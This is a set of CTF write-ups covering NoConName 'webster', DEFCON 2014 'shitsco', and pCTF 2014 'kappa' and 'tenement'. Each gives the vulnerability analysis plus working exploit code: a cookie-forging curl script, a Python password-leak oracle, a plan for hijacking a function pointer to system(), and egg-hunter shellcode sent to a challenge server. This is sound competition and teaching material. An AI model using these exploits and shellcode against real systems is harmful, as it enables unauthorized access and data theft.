#!/bin/sh

curl -k https://ctf.noconname.org/webster/login.php -c cookies.txt --data "username=test&password=test"
# md5('127.0.0.1') => f528764d624db129b32c21fbca0cb8d6
sed  's/c869d000ef5c6fdfa128b058d2865512/f528764d624db129b32c21fbca0cb8d6/g' cookies.txt > good_cookies.txt
curl -k https://ctf.noconname.org/webster/content.php?op=4 -b good_cookies.txt

Output

$ ./webster.sh

NCN_f528764d624db129b32c21fbca0cb8d6

$

DEFCON Quals 2014: shitsco

2014-05-21 00:00:00

Analysis

$ file shitsco
shitsco: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x8657c9bdf925b4864b09ce277be0f4d52dae33a6, stripped
$ execstack shitsco
- shitsco

shitsco is like the Cisco IOS command line interface. You have to use the enable command to get increase your access level. The higher access allows you to run privileged commands like flag that prints the flag file from the disk.

The password for the enable command is initialized from disk, so it is not recoverable from the binary alone.

$ ./shitsco

 oooooooo8 oooo        o88    o8
888         888ooooo   oooo o888oo  oooooooo8    ooooooo     ooooooo
 888oooooo  888   888   888  888   888ooooooo  888     888 888     888
        888 888   888   888  888           888 888         888     888
o88oooo888 o888o o888o o888o  888o 88oooooo88    88ooo888    88ooo88

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ ?
==========Available Commands==========
|enable                               |
|ping                                 |
|tracert                              |
|?                                    |
|shell                                |
|set                                  |
|show                                 |
|credits                              |
|quit                                 |
======================================
Type ? followed by a command for more detailed information
$ ? enable
enable: Enables administrator access, with the correct password.
$ enable
Please enter a password: badtouch
Nope.  The password isn't badtouch???????
$ enable badtouch
Nope.  The password isn't badtouch
$ ? flag
flag: Prints the flag to the console.
$ flag

flag: Invalid command
$

Vulnerability

By using the enable command with out any command line arguments, shitsco will prompted for a password. The password is read into a 32-byte character array that is not null-terminated. If the password is wrong, shitsco prints it back to you with any extra trailing non-zero bytes. Looking at the stack frame, the variable stores directly after the 32-byte array, is an integer that stored the result of the strcmp(). If all 32 bytes of the provided password are use, shitsco will leak information about the comparison.

Stack Frame of procedure starting at 0x08049230:
+----------------------------------+--------------+--------------+
|  char read_buff[32];             | int compare; |  int canary; |
+----------------------------------+--------------+--------------+

Exploit

The whole password can be leaked one character at a time by finding the point at which the supplied password becomes greater lexicographically than the real password.

Example execution of the algorithm:

Password:                             Result:
" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"      1
"!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"      1
""~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"      1
"#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"      1
....
"a~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"      1
"b~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"     -1     ; First character must be 'b'
"b ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"      1
"b!~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"      1
....
"bq~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"      1
"br~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"     -1     ; Second character must be 'r'
....

shit.py:

#!/usr/bin/python

import struct
import socket


TARGET = ("shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me", 31337)

def recv_until(s, needle):
    recv_buff = ""
    while recv_buff.find(needle) == -1:
        in_byte = s.recv(1)
        if len(in_byte) == 0:
            return recv_buff
        recv_buff += in_byte
    return recv_buff


def test_string(s, password):
    s.sendall("enable\n")
    recv_until(s, "Please enter a password:")
    s.sendall(password.ljust(32, "~"))
    b = recv_until(s, "\n$")

    start_i = len(" Nope.  The password isn't ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
    stop_i = b.find("\n$")
    compare_str = b[start_i:stop_i].ljust(4, "\x00")
    compare_value = struct.unpack("i", compare_str)[0]

    #print password, compare_value

    if compare_value < 0:
        return True
    return False




charspace = []
for i in xrange(32, 127):
    charspace += [chr(i)]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(TARGET)
recv_until(s, "\n$")

password = ""
for i in xrange(1, 32):
    for k in charspace:
        if test_string(s, password + k):
            password += k
            break
s.close()

print "Password:", repr(password.rstrip())


"""
$ ./shit.py
Password: 'bruT3m3hard3rb4by'
$ ./connect.sh

 oooooooo8 oooo        o88    o8
888         888ooooo   oooo o888oo  oooooooo8    ooooooo     ooooooo
 888oooooo  888   888   888  888   888ooooooo  888     888 888     888
        888 888   888   888  888           888 888         888     888
o88oooo888 o888o o888o o888o  888o 88oooooo88    88ooo888    88ooo88

Welcome to Shitsco Internet Operating System (IOS)
For a command list, enter ?
$ enable bruT3m3hard3rb4by
Authentication Successful
# flag
The flag is: Dinosaur vaginas
#
"""

pCTF 2014: kappa

2014-04-13 00:00:00

Task Description

There's got to be a way to get into this service set up by the Plague at 54.80.112.128:1313. Can you find it?

Analysis

$ file kappa
kappa: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0xd69c0e2ebc9cfa9df957e89a3ba37fe6241a4bc0, stripped
$ execstack kappa
- kappa
$ ./kappa
Thank you for helping test CTF plays Pokemon! Keep in mind that this is currently in alpha which means that we will only support one person playing at a time. You will be provided with several options once the game begins, as well as several hidden options for those true CTF Plays Pokemon fans ;). We hope to expand this in the coming months to include even more features!  Enjoy! :)
Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

^C
$

kappa is a pokemon game. The player can find, fight, collect pokemon, and change the ASCII art image of pokemon in his collection.

The game has 3 types of pokemon: jesusbird, kakuna, and charizard. Their representation in memory only differs in the size of the art field.

struct charizard_s {
    char name[15];
    char art[2153];
    int health;
    int power;
    char **attack;
    void (*inspect)(struct charizard_s *);
};

struct kakuna_s {
    char name[15];
    char art[501];
    int health;
    int power;
    char **attack;
    void (*inspect)(struct kakuna_s *);
};

struct jesusbird_s {
    char name[15];
    char art[1501];
    int health;
    int power;
    char **attack;
    void (*inspect)(struct jesusbird_s *);
};

The player's collection of pokemon, or his pokedex, is stored by two arrays.

NULL is used to mark unused elements in pokedex. When a pokemon is inserted, or captured, it's pointer is stored in the first unused element of pokedex. When a pokemon is removed, or released, the elements of pokedex that follow the removed pokemon are shifted up one element.

Vulnerability

When a pokemon is captured but pokedex has no empty elements, the player is prompted to choose a pokemon from pokedex to replace with the newly captured pokemon. The element in pokedex is replaced with a pointer to the new pokemon, but pokedex_types is not updated.

puts("Oh no! you don't have any more room for a Pokemon! Choose a pokemon to replace!");
choice_i = choose_pokemon();
if(choice_i){
    if(choice_i <= 4){
        free(pokedex[choice_i]);
        pokedex[choice_i] = pokemon;
    } else {
        puts("Invalid Choice!");
    }
} else {
    printf("%s can't be freed!\n", pokedex[0]);
}

Because the art field can be changed by the player, and because the art field of a charizard contains attack and inspect fields of a kakuna, these fields are now controllable.

By changing the attack field, it is possible to read memory from the kappa process, and by changing the inspect field, it is possible to change the path of execution.

Exploit

The steps for the exploit are:

  1. Play the game collecting kakunas until the pokedex is full.
  2. Continue playing until a charizard appears. Capture it, name it /bin/sh, and replacing a kakuna with it. At this point, kappa will now treat the charizard as a kakuna.
  3. Read a pointer from the GOT by changing the art field of the charizard with a specially crafted string containing a pointer to two bytes into a JMP instruction in the PLT at the offset matching the attack field of a kakuna. Then, inspect the pokemon using menu option 3 (Inspect your pokemon).
  4. Calculate the address of system() using the pointer read from the GOT.
  5. Change the art of the charizard with a specially crafted string containing a pointer to system() at the offset matching inspect for a kakuna.
  6. Trigger the exploit by causing inspect() to be called by using main menu option 3.

pCTF 2014: tenement

2014-04-13 00:00:00

Description

The Plague has tried to make things easy for you in this service, but not too easy. He's called The Plague, not The Nice Guy. The service should be running at 54.237.240.143:9999.

Analysis

$ file tenement
tenement: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0x05040d3228539e5e9c4f87de70a408bc40f2df5d, stripped
$ execstack tenement
X tenement

tenement uses stdio for communication. it is served using socat or inetd that redirects stdio to network sockets.

  1. The key is loaded from disk, prepended with "PPPP:", and copied to unknown memory regions created by mmap(). The location of these regions is not retained by tenement. They are effectively lost in memory (except maybe some residue on the stack).
  2. seccomp_init() is called and a series of seccomp_ruleadd() are called. This creates a white-list of allowable system calls. sys_execve is not in this list.
  3. 128 bytes are read()'d from stdin to a stack buffer, then call'd as executable instructions. This is allowed because the stack segment is marked as executable.

Solution

Because seccomp_* has banned the use of sys_execve, the shellcode passed to tenement can't just spawn a shell. Another technique must be used to obtain the key.

The key is loaded into memory somewhere. It just has to be found. Because the key was prepended with "PPPP: " , all of memory can be searched for the integer 0x50505050 to find possible locations of the key.

To naively search memory locations 0x00000000 through 0xFFFFFFFF would generate segment faults. A technique used by shellcode egg hunters to avoid segmentation faults is to repurpose sys_access to test if a memory region is readable before accessing it.

#include <unistd.h>

       int access(const char *pathname, int mode);

access() is used to check the current users permissions for a file, but before the kernel checks permissions, it verifies that pathname points to a valid memory location for the requesting process. If pathname is not valid memory for the process, an error is returned and errno is set to EFAULT.

In the case of running a 32-bit kernel, the search space of 0x00000000 through 0xFFFFFFFF can be decreased to 0x00000000 through 0xBFFFFFFF because kernel space begins at 0xC0000000. Furthermore, only the first 4 bytes of each page need to be checked for 0x50505050 because mmap() always page-aligns new mappings.

This example demonstrates repurposing access() to search all userspace for an a key.

pppphunt.c

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <errno.h>

void hide_egg(){
        char *egg;
        int i;
        egg = mmap(NULL, 1024*4, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        strcpy(egg, "pppp: you found me!");
        for(i = 0; i < 4; i++)
                egg[i] -= 0x20;
}

void find_egg(){
        char *page;
        for(page = 0; page < (char *)0xC0000000; page += 1024*4){
                if(access(page, 0) == 0 || errno != EFAULT){
                        if(*(unsigned int *)page == 0x50505050){
                                puts(page);
                        }
                }
        }
}

int main(int argc, char *argv[]){
        hide_egg();
        find_egg();
        return 0;
}

output

$ ./pppphunt
PPPP: you found me!
$

Exploit

To run this procedure on tenement, it must be converted to position-independent assembly.

pppphunt.s

.section .text
.global _start

_start:

        mov $0, %edx
loop:
        add $0x1000, %edx
        cmp $0xC0000000, %edx
        ja exit

access:
        mov $33, %eax   # sys_access(char *pathname, int mode)
        mov %edx, %ebx  # pathname
        mov $0, %ecx    # mode
        int $0x80

        cmp $0xfffffff2, %eax
        jz loop

        mov (%edx), %eax
        cmp $0x50505050, %eax
        jnz loop


write:
        push %edx

        movl $0x4, %eax  #sys_write(int fd, void *buff, size_t count)
        movl $0x1, %ebx  #fd
        movl %edx, %ecx  #buff
        movl $0x20, %edx #count
        int $0x80

        pop %edx

        jmp loop
exit:
        mov $0x1, %eax # sys_exit(int status)
        mov $0x0, %ebx # int status
        int $0x80

output

$ as -o pppphunt.o pppphunt.s
$ ld -o pppphunt pppphunt.o
$ objcopy -O binary --only-section=.text pppphunt pppphunt.bin
$ xxd -g 1 pppphunt.bin
0000000: ba 00 00 00 00 81 c2 00 10 00 00 81 fa 00 00 00  ................
0000010: c0 77 33 b8 21 00 00 00 89 d3 b9 00 00 00 00 cd  .w3.!...........
0000020: 80 83 f8 f2 74 df 8b 02 3d 50 50 50 50 75 d6 52  ....t...=PPPPu.R
0000030: b8 04 00 00 00 bb 01 00 00 00 89 d1 ba 20 00 00  ............. ..
0000040: 00 cd 80 5a eb bf b8 01 00 00 00 bb 00 00 00 00  ...Z............
0000050: cd 80                                            ..

exploit.py

#!/usr/bin/python
import telnetlib

shellcode = ""
shellcode += "\xba\x00\x00\x00\x00\x81\xc2\x00\x10\x00\x00\x81\xfa\x00\x00\x00"
shellcode += "\xc0\x77\x33\xb8\x21\x00\x00\x00\x89\xd3\xb9\x00\x00\x00\x00\xcd"
shellcode += "\x80\x83\xf8\xf2\x74\xdf\x8b\x02\x3d\x50\x50\x50\x50\x75\xd6\x52"
shellcode += "\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xd1\xba\x20\x00\x00"
shellcode += "\x00\xcd\x80\x5a\xeb\xbf\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00"
shellcode += "\xcd\x80"

t = telnetlib.Telnet("54.237.240.143", 9999)
#t.set_debuglevel(1)

t.read_until("continue.\n")

t.write(shellcode)
t.interact()

Action Shot

$ ./exploit2.py
PPPP: Wub-a-lubba-dub-dub*** Connection closed by remote host ***
$